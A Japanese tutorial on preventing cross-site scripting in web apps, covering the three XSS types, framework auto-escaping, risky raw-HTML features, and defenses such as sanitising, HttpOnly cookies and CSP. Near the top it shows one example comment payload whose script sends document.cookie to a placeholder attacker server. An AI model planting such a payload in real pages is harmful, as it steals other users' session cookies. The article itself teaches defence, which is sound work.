Dance with Agents

クロスサイトスクリプティング(XSS)の具体的な防ぎ方

実践

Webアプリの主要セキュリティリスク一覧で最初に挙げたクロスサイトスクリプティング(XSS、Cross-Site Scripting)を、具体的にどう防ぐかまで掘り下げます。

何が起きるのか

コメント欄やプロフィール欄のような、ユーザーが入力した文字列を、そのまま画面に表示する仕組みがあるとします。ここに、ただの文章のふりをしたスクリプトを送り込まれると起きます。

このコメント最高です<script>fetch('https://攻撃者のサーバー/?c=' + document.cookie)</script>

このコメントを表示したページを開いた他のユーザーのブラウザで、このスクリプトがそのまま実行されます。document.cookieはそのブラウザに保存されているCookie(ログイン状態などを保つための情報)を読み取る命令で、それを攻撃者のサーバーに送りつけています。攻撃者は、書き込んだ本人ではなく、そのページを見た別の人の情報を狙っています。

3つの型

XSSにはいくつか型があります。

型 仕組み
反射型(Reflected) 検索結果ページのように、URLに含めた文字列がそのまま画面に表示される仕組みを悪用する。悪意のあるURLを踏ませる必要がある
格納型(Stored) コメントや投稿のように、データベースに保存された文字列があとから表示される仕組みを悪用する。一度書き込めば、見た人全員が被害を受ける
DOM型(DOM-based) サーバーを経由せず、ブラウザ側のJavaScriptがURLなどの値を直接画面に書き込む処理を悪用する

このうち格納型がいちばん被害が広がりやすい型です。一度攻撃者のコメントが保存されてしまえば、そのページを開いた全員が被害を受けてしまうためです。

現代のフレームワークは、基本的に安全

Reactのような現代のフレームワークでは、{}で囲んで値を表示する書き方をした場合、値は自動的にエスケープ(HTMLとして特別な意味を持つ<や>のような文字を、ただの文字として扱う処理)されます。

<p>{userComment}</p>

この書き方であれば、userCommentの中に<script>という文字列が含まれていても、それは「スクリプトタグ」ではなく「そういう文字が並んだただのテキスト」として表示されます。特別な対策をしなくても、標準の書き方をしている限りXSSは起きにくい、というのが現代フレームワークの前提です。

危険なのは、自分から安全網を外したとき

問題が起きるのは、意図的にHTMLとして描画する機能を使ったときです。

  • React:dangerouslySetInnerHTML
  • Vue:v-html
  • Svelte:{@html ...}

名前に「dangerously(危険を承知で)」と書かれているとおり、これらは自動エスケープを迂回して、文字列をそのままHTMLとして描画する機能です。リッチテキストエディタの内容を表示したい、Markdownを変換したHTMLを表示したい、といった正当な理由で使われますが、そこに渡す文字列にユーザーの入力がそのまま混ざっていると、XSSの入り口になります。

エージェントに「投稿の中身をHTMLとして表示して」のように頼むと、実装の都合でこれらの機能が使われることがあります。使われていること自体が悪いわけではなく、渡している文字列の由来を確認する必要がある、という点を押さえておくと安心です。

対策の具体策

  • ユーザー入力は、まず信用しない前提で扱う。 標準のテキスト表示(Reactなら{})で済むなら、それ以上のことはしない
  • HTMLとして描画する必要がある場合は、サニタイズ(無害化)ライブラリを通す。 DOMPurifyのようなライブラリは、危険なタグや属性を取り除いたうえで描画してくれます
  • CookieにHttpOnly属性を付ける。 この属性が付いたCookieは、JavaScriptのdocument.cookieから読み取れなくなります。仮にXSSが起きても、ログイン状態を盗まれる被害を防げます
  • CSP(Content Security Policy)というヘッダーを設定する。 「このページではインラインのスクリプトを一切実行しない」のようなルールをブラウザに伝える仕組みで、うっかりXSSが混入しても実行自体を止められる、多層防御の1つです

エージェントへの頼み方

「ユーザーが入力した内容を表示している箇所を探して、dangerouslySetInnerHTMLのような自動エスケープを迂回する処理が使われていないか確認して。使われている場合はDOMPurifyでサニタイズしてから渡すようにして」のように、具体的な機能名を挙げて頼むと点検が進みやすくなります。

まとめ

  • XSSは、他人のブラウザで悪意のあるスクリプトを動かされる攻撃。狙われるのは書き込んだ本人ではなく、そのページを見た別の人
  • 型は3つ(反射型・格納型・DOM型)。格納型がいちばん被害が広がりやすい
  • Reactなどの{}表示は自動エスケープされるので、標準の書き方をしている限り基本的に安全
  • 危険なのはdangerouslySetInnerHTMLのような、自分からエスケープを迂回する機能を使ったとき
  • 対策は、サニタイズ・HttpOnlyCookie・CSPの3つを組み合わせる多層防御

派手な攻撃に見えますが、対策の中心は「ユーザーの入力を、そのままHTMLとして扱わない」という1点に尽きます。

セキュリティの記事

セキュリティのページへ →